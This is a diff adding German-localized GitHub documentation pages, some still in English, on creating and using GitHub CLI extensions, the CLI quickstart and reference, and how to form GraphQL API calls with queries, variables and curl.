+Du benötigst ein Repository für jede Erweiterung, die du erstellst. Der Repositoryname muss mit `gh-` beginnen. Der verbleibende Teil des Repositorynamens ist der Name der Erweiterung. Im Stammverzeichnis des Repositorys muss sich eine ausführbare Datei mit demselben Namen wie das Repository oder ein Satz vorkompilierter ausführbarer Binärdateien befinden, die an ein Release angefügt sind.
+
+{% note %}
+
+**Hinweis**: Wenn du ein ausführbares Skript nutzen möchtest, empfehlen wir dir die Verwendung eines Bash-Skripts, da Bash ein weit verbreiteter Interpreter ist. Du kannst auch andere Skripts verwenden, aber der Benutzer muss den notwendigen Interpreter installiert haben, um die Erweiterung nutzen zu können. Wenn du dich nicht darauf verlassen möchtest, dass die Benutzer den geeigneten Interpreter installiert haben, kannst du eine vorkompilierte Erweiterung in Erwägung ziehen.
+
+{% endnote %}
+
+## Erstellen einer interpretierten Erweiterung mit `gh extension create`
+
+{% note %}
+
+**Hinweis**: Wenn du `gh extension create` ohne Argumente ausführst, wird ein interaktiver Assistent gestartet.
+
+{% endnote %}
+
+Mit dem Befehl `gh extension create` kannst du ein Projekt für deine Erweiterung erstellen, einschließlich eines Bash-Skripts, das Startcode enthält.
+
+1. Richte mithilfe des Unterbefehls `gh extension create` eine neue Erweiterung ein. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung.
+
+    ```shell
+    gh extension create <em>EXTENSION-NAME</em>
+    ```
+
+1. Folge den angegebenen Anweisungen, um deine Erweiterung fertigzustellen und optional zu veröffentlichen.
+
+## Erstellen einer vorkompilierten Erweiterung in Go mit `gh extension create`
+
+Du kannst das Argument `--precompiled=go` verwenden, um ein Go-basiertes Projekt für deine Erweiterung zu erstellen, einschließlich Go-Gerüstbau, Workflowgerüstbau und Startcode.
+
+1. Richte mithilfe des Unterbefehls `gh extension create` eine neue Erweiterung ein. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung, und gib `--precompiled=go` an.
+
+    ```shell
+    gh extension create --precompiled=go <em>EXTENSION-NAME</em>
+    ```
+
+1. Folge den angegebenen Anweisungen, um deine Erweiterung fertigzustellen und optional zu veröffentlichen.
+
+## Erstellen einer vorkompilierten Erweiterung ohne Go mit `gh extension create`
+
+Du kannst das Argument `--precompiled=other` verwenden, um ein Projekt für deine nicht Go-basierte vorkompilierte Erweiterung zu erstellen, einschließlich Workflowgerüstbau.
+
+1. Richte mithilfe des Unterbefehls `gh extension create` eine neue Erweiterung ein. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung, und gib `--precompiled=other` an.
+
+    ```shell
+    gh extension create --precompiled=other <em>EXTENSION-NAME</em>
+    ```
+
+1. Füge den ersten Code für deine Erweiterung in der kompilierten Sprache deiner Wahl hinzu.
+
+1. Füge in `script/build.sh` den Code zum Kompilieren deiner Erweiterung ein, um sicherzustellen, dass deine Erweiterung automatisch erstellt werden kann.
+
+1. Folge den angegebenen Anweisungen, um deine Erweiterung fertigzustellen und optional zu veröffentlichen.
+
+## Manuelles Erstellen einer interpretierten Erweiterung
+
+1. Erstelle ein lokales Verzeichnis namens `gh-EXTENSION-NAME` für deine Erweiterung. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung. Beispiel: `gh-whoami`.
+
+1. Füge in das erstellte Verzeichnis eine ausführbare Datei mit demselben Namen wie das Verzeichnis ein.
+
+  {% note %}
+
+  **Hinweis:** Stelle sicher, dass es sich um eine ausführbare Datei handelt. Unter Unix kannst du `chmod +x file_name` in der Befehlszeile ausführen, um `file_name` ausführbar zu machen. Unter Windows kannst du `git init -b main`, `git add file_name` und dann `git update-index --chmod=+x file_name` ausführen.
+
+  {% endnote %}
+
+1. Schreibe dein Skript in die ausführbare Datei. Beispiel:
+
+  ```bash
+  #!/usr/bin/env bash
+  set -e
+  exec gh api user --jq '"You are @\(.login) (\(.name))."'
+  ```
+
+1. Installiere die Erweiterung aus deinem Verzeichnis als lokale Erweiterung.
+
+   ```shell
+   gh extension install .
+   ```
+
+1. Vergewissere dich, dass deine Erweiterung funktioniert. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung. Beispiel: `whoami`.
+
+   ```shell
+   gh <em>EXTENSION-NAME</em>
+   ```
+
+1. Erstelle aus deinem Verzeichnis ein Repository, um deine Erweiterung zu veröffentlichen. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung.
+
+   ```shell
+   git init -b main
+   git add . && git commit -m "initial commit"
+   gh repo create gh-<em>EXTENSION-NAME</em> --source=. --public --push
+   ```
+
+1. Optional kannst du das Repositorythema `gh-extension` hinzufügen, damit andere Benutzer deine Erweiterung leichter finden. Dadurch wird die Erweiterung auf der [`gh-extension`-Themenseite](https://github.com/topics/gh-extension) angezeigt. Weitere Informationen zum Hinzufügen eines Repositorythemas findest du unter [Klassifizieren deines Repositorys mit Themen](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics).
+
+## Tipps zum Schreiben interpretierter {% data variables.product.prodname_cli %}-Erweiterungen
+
+### Verarbeiten von Argumenten und Flags
+
+Alle Befehlszeilenargumente, die auf einen `gh my-extension-name`-Befehl folgen, werden an das Erweiterungsskript übergeben. In einem Bash-Skript kannst du Argumente mit `$1`, `$2`, usw. referenzieren. Du kannst Argumente verwenden, um Benutzereingaben zu akzeptieren oder um das Verhalten des Skripts zu ändern.
+
+In diesem Skript werden beispielsweise mehrere Flags verarbeitet. Wenn das Skript mit dem Flag `-h` oder `--help` aufgerufen wird, gibt das Skript einen Hilfetext aus, anstatt die Ausführung fortzusetzen. Beim Aufruf des Skripts mit dem Flag `--name` legt das Skript den nächsten Wert nach dem Flag auf `name_arg` fest. Wird das Skript mit dem Flag `--verbose` aufgerufen, gibt es eine andere Begrüßung aus.
+
+```bash
+#!/usr/bin/env bash
+set -e
+
+verbose=""
+name_arg=""
+while [ $# -gt 0 ]; do
+  case "$1" in
+  --verbose)
+    verbose=1
+    ;;
+  --name)
+    name_arg="$2"
+    shift
+    ;;
+  -h|--help)
+    echo "Add help text here."
+    exit 0
+    ;;
+  esac
+  shift
+done
+
+if [ -z "$name_arg" ]
+then
+  echo "You haven't told us your name."
+elif [ -z "$verbose" ]
+then
+  echo "Hi $name_arg"
+else
+  echo "Hello and welcome, $name_arg"
+fi
+```
+
+### Aufrufen von Kernbefehlen im nicht interaktiven Modus
+
+Durch einige {% data variables.product.prodname_cli %}-Kernbefehle wird der Benutzer zu einer Eingabe aufgefordert. Beim Schreiben von Skripts mit diesen Befehlen ist eine Eingabeaufforderung oft unerwünscht. Um Eingabeaufforderungen zu vermeiden, gibst du die notwendigen Informationen explizit über Argumente an.
+
+Zum Beispiel kannst du zum programmgesteuerten Erstellen eines Issues dessen Titel und Text angeben:
+
+```shell
+gh issue create --title "My Title" --body "Issue description"
+```
+
+### Programmgesteuertes Abrufen von Daten
+
+Viele Kernbefehle unterstützen das Flag `--json` zum programmgesteuerten Abrufen von Daten. So kannst du zum Beispiel ein JSON-Objekt zurückgeben, das die Anzahl, den Titel und den Mergestatus von Pull Requests auflistet:
+
+```shell
+gh pr list --json number,title,mergeStateStatus
+```
+
+Wenn kein Kernbefehl verfügbar ist, um bestimmte Daten aus GitHub abzurufen, kannst du den Befehl [`gh api`](https://cli.github.com/manual/gh_api) verwenden, um auf die GitHub-API zuzugreifen. So kannst du zum Beispiel Informationen über den aktuellen Benutzer abrufen:
+
+```shell
+gh api user
+```
+
+Alle Befehle, die JSON-Daten ausgeben, bieten Optionen zum Filtern dieser Daten, sodass sie von einem Skript besser genutzt werden können. Zum Beispiel, um den Namen des aktuellen Benutzers abzurufen:
+
+```shell
+gh api user --jq '.name'
+```
+
+Weitere Informationen findest du unter [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting).
+
+## Manuelles Erstellen einer vorkompilierten Erweiterung
+
+1. Erstelle ein lokales Verzeichnis namens `gh-EXTENSION-NAME` für deine Erweiterung. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung. Beispiel: `gh-whoami`.
+
+1. Füge in das von dir erstellte Verzeichnis etwas Quellcode ein. Beispiel:
+
+    ```go
+    package main
+    import (
+      "github.com/cli/go-gh"
+      "fmt"
+    )
+
+    func main() {
+      args := []string{"api", "user", "--jq", `"You are @\(.login) (\(.name))"` }
+      stdOut, _, err := gh.Exec(args...)
+      if err != nil {
+        fmt.Println(err)
+        return
+      }
+      fmt.Println(stdOut.String())
+    }
+    ```
+
+1. Installiere die Erweiterung aus deinem Verzeichnis als lokale Erweiterung.
+
+    ```shell
+    gh extension install .
+    ```
+
+1. Kompiliere deinen Code. Ersetze zum Beispiel bei Go `YOUR-USERNAME` durch deinen GitHub-Benutzernamen:
+
+    ```shell
+    go mod init github.com/<em>YOUR-USERNAME</em>/gh-whoami
+    go mod tidy
+    go build
+    ```
+
+1. Vergewissere dich, dass deine Erweiterung funktioniert. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung. Beispiel: `whoami`.
+
+    ```shell
+    gh <em>EXTENSION-NAME</em>
+    ```
+
+1. Erstelle aus deinem Verzeichnis ein Repository, um deine Erweiterung zu veröffentlichen. Ersetze `EXTENSION-NAME` durch den Namen deiner Erweiterung.
+
+  {% note %}
+
+  **Hinweis:** Achte darauf, die im Kompilierungsschritt erzeugte Binärdatei nicht an die Versionskontrolle zu committen.
+
+  {% endnote %}
+
+    ```shell
+    git init -b main
+    echo "gh-<em>EXTENSION-NAME</em>" >> .gitignore
+    git add main.go go.* .gitignore && git commit -m'Initial commit'
+    gh repo create "gh-<em>EXTENSION-NAME</em>"
+    ```
+
+1. Erstelle ein Release, um deine vorkompilierte Erweiterung mit anderen zu teilen. Kompiliere die Erweiterung für jede Plattform, die du unterstützen möchtest, und füge jede Binärdatei als Ressource an ein Release an. Die ausführbaren Binärdateien, die den Releases angefügt sind, müssen einer Namenskonvention folgen und das Suffix <em>BETRIEBSSYSTEMARCHITEKTUR\[ERWEITERUNG\]</em> aufweisen.
+
+  Eine Erweiterung mit dem Namen `whoami`, die für die 64-Bit-Version von Windows kompiliert wird, erhält zum Beispiel den Namen `gh-whoami-windows-amd64.exe`, während die gleiche Erweiterung beim Kompilieren für die 32-Bit-Version von Linux den Namen `gh-whoami-linux-386` erhält. Eine vollständige Liste der von `gh` erkannten Betriebssystem- und Architekturkombinationen findest du in [diesem Quellcode](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696).
+
+  {% note %}
+
+  **Hinweis:** Damit deine Erweiterung unter Windows richtig funktioniert, muss die Ressourcendatei die Erweiterung `.exe` aufweisen. Für andere Betriebssysteme ist keine Erweiterung erforderlich.
+
+  {% endnote %}
+
+  Releases können über die Befehlszeile erstellt werden. Beispiel:
+
+  ```shell
+  git tag v1.0.0
+  git push origin v1.0.0
+  GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe
+  GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64
+  GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64
+  gh release create v1.0.0 ./*amd64*
+
+1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
+
+
+## Tips for writing precompiled {% data variables.product.prodname_cli %} extensions
+
+### Automating releases
+
+Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) action to a workflow in your project. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions.
+
+### Using {% data variables.product.prodname_cli %} features from Go-based extensions
+
+Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions.
+
+## Next steps
+
+To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension).
diff --git a/translations/de-DE/content/github-cli/github-cli/github-cli-reference.md b/translations/de-DE/content/github-cli/github-cli/github-cli-reference.md
new file mode 100644
index 0000000000..06b4599d7f
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/github-cli-reference.md
@@ -0,0 +1,41 @@
+---
+title: GitHub CLI-Referenz
+intro: 'Du kannst alle {% data variables.product.prodname_cli %}-Befehle in deinem Terminal oder im {% data variables.product.prodname_cli %}-Handbuch einsehen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+type: reference
+ms.openlocfilehash: 1da9b2ffe79af2c432a4dfc79f944f8656663733
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068544'
+---
+Informationen zum Anzeigen aller {% data variables.product.prodname_cli %}-Befehle der obersten Ebene findest du im [{% data variables.product.prodname_cli %}-Handbuch](https://cli.github.com/manual/gh), oder rufe `gh` ohne Argumente auf.
+
+```shell
+gh
+```
+
+Verwende zum Auflisten aller Befehle unter einer bestimmten Gruppe den Befehl auf oberster Ebene ohne Argumente. So listest du beispielsweise [Befehle zum Verwalten von Repositorys](https://cli.github.com/manual/gh_repo) auf:
+
+```shell
+gh repo
+```
+
+Informationen zum Anzeigen der Umgebungsvariablen, die mit {% data variables.product.prodname_cli %} verwendet werden können, findest du im [{% data variables.product.prodname_cli %}-Handbuch](https://cli.github.com/manual/gh_help_environment), oder verwende den Befehl `environment`.
+
+```shell
+gh environment
+```
+
+Informationen zum Anzeigen der Konfigurationseinstellungen, die mit {% data variables.product.prodname_cli %} verwendet werden können, findest du im [{% data variables.product.prodname_cli %}-Handbuch](https://cli.github.com/manual/gh_config), oder verwende den Befehl `config`.
+
+```shell
+gh config
+```
diff --git a/translations/de-DE/content/github-cli/github-cli/index.md b/translations/de-DE/content/github-cli/github-cli/index.md
new file mode 100644
index 0000000000..2ded5f917a
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/index.md
@@ -0,0 +1,23 @@
+---
+title: GitHub CLI
+shortTitle: GitHub CLI
+intro: '{% data reusables.cli.about-cli %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-github-cli
+  - /quickstart
+  - /creating-github-cli-extensions
+  - /using-github-cli-extensions
+  - /github-cli-reference
+ms.openlocfilehash: 9b3befdcf584c3f95d6557325ff5e8667f451878
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710395'
+---
+
diff --git a/translations/de-DE/content/github-cli/github-cli/quickstart.md b/translations/de-DE/content/github-cli/github-cli/quickstart.md
new file mode 100644
index 0000000000..4b77a522cb
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/quickstart.md
@@ -0,0 +1,47 @@
+---
+title: GitHub CLI quickstart
+intro: 'Start using {% data variables.product.prodname_cli %} to work with {% data variables.product.company_short %} in the command line.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+type: overview
+allowTitleToDifferFromFilename: true
+shortTitle: Quickstart
+---
+
+## About {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.about-cli %}
+
+## Getting started
+
+1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux.
+1. In the command line, authenticate to {% data variables.product.company_short %}.
+
+  ```shell
+  gh auth login
+  ```
+
+  {% ifversion not fpt or ghec %}
+  To authenticate to {% data variables.location.product_location %}, use the `--hostname` flag.
+
+  ```shell
+  gh auth login --hostname HOSTNAME
+  ```
+
+  {% endif %}
+1. Start working with {% data variables.product.company_short %} in the command line. For example, find an issue to work on with `gh issue status` or `gh issue list --assignee @me`. Create a pull request with `gh pr create`. Review a pull request with `gh pr checkout`, `gh pr diff` and `gh pr review`.
+
+## Next steps
+
+- Tell {% data variables.product.prodname_cli %} which text editor to use for commands that open a text editor. For example, enter `gh config set editor "code -w"` to set your preferred text editor to {% data variables.product.prodname_vscode %}. For more information, see [`gh config set`](https://cli.github.com/manual/gh_config_set).
+
+- Define aliases for commands that you commonly run. For example, if you run `gh alias set prd "pr create --draft"`, you will then be able to run `gh prd` to quickly open a draft pull request. For more information, see [`gh alias`](https://cli.github.com/manual/gh_alias).
+
+- Create or add custom commands with {% data variables.product.prodname_cli %} extensions. For more information, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)" and "[Creating {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/creating-github-cli-extensions)."
+
+- For more information about all of the commands that you can run with {% data variables.product.prodname_cli %}, see "[{% data variables.product.prodname_cli %} reference](/github-cli/github-cli/github-cli-reference)."
diff --git a/translations/de-DE/content/github-cli/github-cli/using-github-cli-extensions.md b/translations/de-DE/content/github-cli/github-cli/using-github-cli-extensions.md
new file mode 100644
index 0000000000..2185f0d1e7
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/using-github-cli-extensions.md
@@ -0,0 +1,76 @@
+---
+title: Verwenden von GitHub CLI-Erweiterungen
+intro: 'Hier erfährst du, wie du benutzerdefinierte Erweiterungen verwenden kannst, die von anderen {% data variables.product.prodname_cli %}-Benutzern geschrieben wurden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+ms.openlocfilehash: 14bd68ea6cec8df656e59c05f6cd3fa313857158
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068532'
+---
+## Informationen zu {% data variables.product.prodname_cli %}-Erweiterungen
+
+{% note %}
+
+**Hinweis:** Erweiterungen außerhalb von {% data variables.product.product_name %} und {% data variables.product.prodname_cli %} sind nicht von {% data variables.product.product_name %} zertifiziert und werden durch separate Nutzungsbedingungen, Datenschutzrichtlinien und Supportdokumentation geregelt. Um das Risiko bei der Verwendung von Drittanbietererweiterungen zu minimieren, überprüfe den Quellcode der Erweiterung, bevor du die Erweiterung installierst oder aktualisierst.
+
+{% endnote %}
+
+{% data reusables.cli.cli-extensions %} Weitere Informationen zum Erstellen von {% data variables.product.prodname_cli %}-Erweiterungen findest du unter [Erstellen von {% data variables.product.prodname_cli %}-Erweiterungen](/github-cli/github-cli/creating-github-cli-extensions).
+
+Erweiterungen werden lokal installiert und sind auf den Benutzer beschränkt. Wenn du also von einem anderen Computer aus auf {% data variables.product.prodname_cli %} zugreifst oder ein anderer Benutzer von deinem Computer aus auf {% data variables.product.prodname_cli %} zugreift, ist die Erweiterung nicht verfügbar.
+
+## Suchen nach Erweiterungen
+
+Du findest Erweiterungen, indem du [Repositorys mit dem `gh-extension`-Thema](https://github.com/topics/gh-extension) durchsuchst.
+
+## Installieren von Erweiterungen
+
+Um eine Erweiterung zu installieren, verwende den `extensions install`-Unterbefehl. Ersetze den `repo`-Parameter durch das Repository der Erweiterung. Du kannst die vollständige URL wie z. B. `https://github.com/octocat/gh-whoami` verwenden, oder einfach den Besitzer und das Repository, z. B. `octocat/gh-whoami`.
+
+Wenn der Besitzer und das Repository verwendet werden, installiert `gh` die Erweiterung mithilfe des Hostnamens, bei dem `gh` derzeit authentifiziert ist. Das vollständige URL-Format ist nützlich, wenn Erweiterungen von einem anderen Host aus installiert werden. Benutzer in {% data variables.product.prodname_ghe_server %} sollten beispielsweise die vollständige Repository-URL verwenden, um Erweiterungen von {% data variables.product.prodname_dotcom_the_website %} oder einem anderen Host aus zu installieren.
+
+Verwende zum Installieren einer Erweiterung in der Entwicklung aus dem aktuellen Verzeichnis `.` als Wert für den `repo`-Parameter.
+
+```shell
+gh extension install <em>repo</em>
+```
+
+Wenn du bereits eine Erweiterung mit demselben Namen installiert hast, ist der Befehl nicht erfolgreich ausführbar. Wenn du z. B. `octocat/gh-whoami` installiert hast, musst du dies deinstallieren, bevor du `hubot/gh-whoami` installierst.
+
+## Anzeigen installierter Erweiterungen
+
+Um alle installierten Erweiterungen anzuzeigen, verwende den `extensions list`-Unterbefehl. Die Ausgabe teilt dir auch mit, für welche Erweiterungen Updates verfügbar sind.
+
+```shell
+gh extension list
+```
+
+## Aktualisieren von Erweiterungen
+
+Um eine Erweiterung zu aktualisieren, verwende den `extensions upgrade`-Unterbefehl. Ersetze den `extension`-Parameter durch den Namen der Erweiterung.
+
+```shell
+gh extension upgrade <em>extension</em>
+```
+
+Um alle installierten Erweiterungen zu aktualisieren, verwende das `--all`-Flag.
+
+```shell
+gh extension upgrade --all
+```
+
+## Deinstallieren von Erweiterungen
+
+Um eine Erweiterung zu deinstallieren, verwende den `extensions remove`-Unterbefehl. Ersetze den `extension`-Parameter durch den Namen der Erweiterung.
+
+```shell
+gh extension remove <em>extension</em>
+```
diff --git a/translations/de-DE/content/github-cli/index.md b/translations/de-DE/content/github-cli/index.md
new file mode 100644
index 0000000000..793a1576b5
--- /dev/null
+++ b/translations/de-DE/content/github-cli/index.md
@@ -0,0 +1,43 @@
+---
+title: GitHub CLI
+shortTitle: GitHub CLI
+intro: '{% data reusables.cli.about-cli %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /github-cli
+introLinks:
+  overview: /github-cli/github-cli/about-github-cli
+  quickstart: /github-cli/github-cli/quickstart
+  reference: /github-cli/github-cli/github-cli-reference
+featuredLinks:
+  guides:
+    - /github-cli/github-cli/creating-github-cli-extensions
+    - /github-cli/github-cli/using-github-cli-extensions
+    - /actions/guides/using-github-cli-in-workflows
+    - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli
+  popular:
+    - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request
+    - /issues/tracking-your-work-with-issues/creating-an-issue
+    - /github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account
+    - /get-started/quickstart/create-a-repo
+    - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally
+    - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request
+    - /get-started/quickstart/fork-a-repo
+    - /github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository
+  popularHeading: Popular CLI tasks
+changelog:
+  label: cli
+layout: product-landing
+beta_product: false
+ms.openlocfilehash: 4f74b69ccb0a49c449e9da96229b6ee01580d696
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160238'
+---
+
diff --git a/translations/de-DE/content/graphql/README.md b/translations/de-DE/content/graphql/README.md
new file mode 100644
index 0000000000..23f05a2063
--- /dev/null
+++ b/translations/de-DE/content/graphql/README.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: aadf6a8e4452758098031014ad7ade2ca28ac09a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068484"
+---
+# GraphQL
+
+Im `/content/graphql`-Verzeichnis befinden sich die GitHub GraphQL-API-Dokumente!
+
+* Die Verzeichnisse `/content/graphql/guides` und `/content/graphql/overview` enthalten Artikel, die von Personen bearbeitet werden können.
+* Das `/content/graphql/reference`-Verzeichnis enthält einen Artikel für jeden GraphQL-Datentyp, der in der GitHub GraphQL-API verwendet wird. Die meisten Inhalte in diesem Verzeichnis werden mithilfe von `include`-Tags gerendert.
+
+  Der von `include`-Tags gerenderte Inhalt stammt aus dem `/lib/graphql/static`-Verzeichnis, das intern in GitHub automatisch aus dem API-Quellcode generiert wird, und sollte nicht von einer Person bearbeitet werden. Weitere Informationen findest du unter [`/lib/graphql/README.md`](/lib/graphql/README.md).
+
+  **Daher können wir keine Beiträge zu GraphQL-API-Referenzinhalten in diesem Repository akzeptieren.**
diff --git a/translations/de-DE/content/graphql/guides/forming-calls-with-graphql.md b/translations/de-DE/content/graphql/guides/forming-calls-with-graphql.md
new file mode 100644
index 0000000000..51259302ab
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/forming-calls-with-graphql.md
@@ -0,0 +1,419 @@
+---
+title: Forming calls with GraphQL
+intro: 'Learn how to authenticate to the GraphQL API, then learn how to create and run queries and mutations.'
+redirect_from:
+  - /v4/guides/forming-calls
+  - /graphql/guides/forming-calls
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+shortTitle: Form calls with GraphQL
+---
+
+## Authenticating with GraphQL
+
+{% data reusables.user-settings.graphql-classic-pat-only %}
+
+To communicate with the GraphQL server, you'll need a {% data variables.product.pat_generic %} with the right scopes.
+
+Follow the steps in "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" to create a token. The scopes you require depends on the type of data you're trying to request. For example, select the **User** scopes to request user data. If you need access to repository information, select the appropriate **Repository** scopes.
+
+{% ifversion fpt or ghec %}
+
+To match the behavior of the [GraphQL Explorer](/graphql/guides/using-the-explorer), request the following scopes:
+
+{% else %}
+
+The following scopes are recommended:
+
+{% endif %}
+
+
+```
+repo
+read:packages
+read:org
+read:public_key
+read:repo_hook
+user
+read:discussion
+read:enterprise
+read:gpg_key
+```
+
+The API notifies you if a resource requires a specific scope.
+
+## The GraphQL endpoint
+
+The REST API has numerous endpoints; the GraphQL API has a single endpoint:
+
+<pre>{% data variables.product.graphql_url_pre %}</pre>
+
+The endpoint remains constant no matter what operation you perform.
+
+## Communicating with GraphQL
+
+Because GraphQL operations consist of multiline JSON, GitHub recommends using the [Explorer](/graphql/guides/using-the-explorer) to make GraphQL calls. You can also use cURL or any other HTTP-speaking library.
+
+In REST, [HTTP verbs](/rest#http-verbs) determine the operation performed. In GraphQL, you'll provide a JSON-encoded body whether you're performing a query or a mutation, so the HTTP verb is `POST`. The exception is an [introspection query](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), which is a simple `GET` to the endpoint. For more information on GraphQL versus REST, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)."
+
+To query GraphQL using cURL, make a `POST` request with a JSON payload. The payload must contain a string called `query`:
+
+```shell
+curl -H "Authorization: bearer TOKEN" -X POST -d " \
+ { \
+   \"query\": \"query { viewer { login }}\" \
+ } \
+" {% data variables.product.graphql_url_code %}
+```
+
+{% tip %}
+
+**Note**: The string value of `"query"` must escape newline characters or the schema will not parse it correctly. For the `POST` body, use outer double quotes and escaped inner double quotes.
+
+{% endtip %}
+
+### About query and mutation operations
+
+The two types of allowed operations in GitHub's GraphQL API are _queries_ and _mutations_. Comparing GraphQL to REST, queries operate like `GET` requests, while mutations operate like `POST`/`PATCH`/`DELETE`. The [mutation name](/graphql/reference/mutations) determines which modification is executed.
+
+For information about rate limiting, see "[GraphQL resource limitations](/graphql/overview/resource-limitations)."
+
+Queries and mutations share similar forms, with some important differences.
+
+### About queries
+
+GraphQL queries return only the data you specify. To form a query, you must specify [fields within fields](/graphql/guides/introduction-to-graphql#field) (also known as _nested subfields_) until you return only [scalars](/graphql/reference/scalars).
+
+Queries are structured like this:
+
+<pre>query {
+  JSON-OBJECT-TO-RETURN
+}</pre>
+
+For a real-world example, see "[Example query](#example-query)."
+
+### About mutations
+
+To form a mutation, you must specify three things:
+
+1. _Mutation name_. The type of modification you want to perform.
+2. _Input object_. The data you want to send to the server, composed of _input fields_. Pass it as an argument to the mutation name.
+3. _Payload object_. The data you want to return from the server, composed of _return fields_. Pass it as the body of the mutation name.
+
+Mutations are structured like this:
+
+<pre>mutation {
+  MUTATION-NAME(input: {MUTATION-NAME-INPUT!}) {
+    MUTATION-NAME-PAYLOAD
+  }
+}</pre>
+
+The input object in this example is `MutationNameInput`, and the payload object is `MutationNamePayload`.
+
+In the [mutations](/graphql/reference/mutations) reference, the listed _input fields_ are what you pass as the input object. The listed _return fields_ are what you pass as the payload object.
+
+For a real-world example, see "[Example mutation](#example-mutation)."
+
+## Working with variables
+
+[Variables](https://graphql.github.io/learn/queries/#variables) can make queries more dynamic and powerful, and they can reduce complexity when passing mutation input objects.
+
+{% note %}
+
+**Note**: If you're using the Explorer, make sure to enter variables in the separate [Query Variables pane](/graphql/guides/using-the-explorer#using-the-variable-pane), and do not include the word `variables` before the JSON object.
+
+{% endnote %}
+
+Here's an example query with a single variable:
+
+```graphql
+query($number_of_repos:Int!) {
+  viewer {
+    name
+     repositories(last: $number_of_repos) {
+       nodes {
+         name
+       }
+     }
+   }
+}
+variables {
+   "number_of_repos": 3
+}
+```
+
+There are three steps to using variables:
+
+1. Define the variable outside the operation in a `variables` object:
+
+  ```graphql
+  variables {
+     "number_of_repos": 3
+  }
+  ```
+
+  The object must be valid JSON. This example shows a simple `Int` variable type, but it's possible to define more complex variable types, such as input objects. You can also define multiple variables here.
+
+2. Pass the variable to the operation as an argument:
+
+  ```graphql
+  query($number_of_repos:Int!){
+  ```
+
+  The argument is a key-value pair, where the key is the _name_ starting with `$` (e.g., `$number_of_repos`), and the value is the _type_ (e.g., `Int`). Add a `!` to indicate whether the type is required. If you've defined multiple variables, include them here as multiple arguments.
+
+3. Use the variable within the operation:
+
+  ```graphql
+  repositories(last: $number_of_repos) {
+  ```
+
+  In this example, we substitute the variable for the number of repositories to retrieve. We specify a type in step 2 because GraphQL enforces strong typing.
+
